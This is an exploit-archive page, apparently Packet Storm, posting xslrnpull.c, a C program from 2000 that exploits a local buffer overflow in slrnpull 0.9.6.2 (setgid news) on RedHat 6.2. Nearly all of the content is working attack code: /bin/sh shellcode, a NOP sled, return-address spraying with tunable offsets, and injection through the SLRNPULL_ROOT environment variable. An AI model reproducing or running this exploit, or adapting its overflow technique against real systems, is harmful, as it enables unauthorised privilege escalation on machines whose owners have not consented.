what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

xslrnpull.c

xslrnpull.c
Posted Aug 22, 2000
Authored by vade79, realhalo | Site realhalo.org

Slrnpull.c exploits a local buffer overflow vulnerability in slrnpull version 0.9.6.2, which is setgid news. Tested against RedHat 6.2.

tags | exploit, overflow, local
systems | linux, redhat
SHA-256 | 416129da6ec1a149669dbfa4d033e8be06cf479f020fc5eefda50e6ade9d3fc9

xslrnpull.c

Change Mirror Download
/* (linux)slrnpull[slrn_v0.9.6.2-] buffer overflow, by v9[v9@fakehalo.org].  i
made this after i viewed Michal Zalewski's "rh 6.2 - gid compromises, etc"
(posted: Wed Jun 21 2000 06:54:08) text on bugtraq. according to his text
slrnpull among other programs is exploitable. so, i downloaded the source
and scanned through it to write little exploit for it.

note: there didn't appear to be any set*gid() code in the source, execpt
mentions of it, so i'm just using generic (non-set*id) shellcode.
also, i just plucked one of the ways to overflow this: -d(spooldir)
option, NNTPSERVER environment variable, etc. overflow. the main slrn
program has many overflows as well. offsets should range from 1200
to 2900. (roughly)
*/
#define FILENAME "slrnpull" // (which) slrnpull filename to execute.
#define BUFFER 2048 // buffer size used to overflow.
#define DEFAULT_OFFSET 1750 // default offset, argv option.
#define DEFAULT_ALIGN 1 // default align, argv option.
static char exec[]=
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f\xb8\x1b\x56"
"\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80"
"\xe8\xd7\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x01"; // still 01.
long sp(void){__asm__("movl %esp,%eax");} // where offset is add/sub from.
void execute(){
char cmd[256];
snprintf(cmd,256,"`which %s`",FILENAME);
system(cmd);
}
int main(int argc,char **argv){
char bof[BUFFER];
int i,offset,align;
long ret;
printf("[ slrnpull[slrn_v0.9.6.2-] local buffer overflow, by: v9[v9@fakehalo.o"
"rg]. ]\n");
if(argc>1){offset=atoi(argv[1]);}
else{offset=DEFAULT_OFFSET;}
if(argc>2){
if(atoi(argv[2])>3||atoi(argv[2])<0){
printf("*** invalid alignment value(%s), using internal default: %d. (0-3)\n"
,argv[2],DEFAULT_ALIGN);
align=DEFAULT_ALIGN;
}
else{align=atoi(argv[2]);}
}
else{align=DEFAULT_ALIGN;}
ret=(sp()+offset);
printf("[ return address: 0x%lx, offset: %d, address alignment: %d. ]\n"
,ret,offset,align);
for(i=align;i<BUFFER;i+=4){*(long *)&bof[i]=ret;}
for(i=0;i<(BUFFER-strlen(exec)-100);i++){*(bof+i)=0x90;}
memcpy(bof+i,exec,strlen(exec));
bof[BUFFER]='\0';
setenv("SLRNPULL_ROOT",bof,1);
execute();
exit(0);
}
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close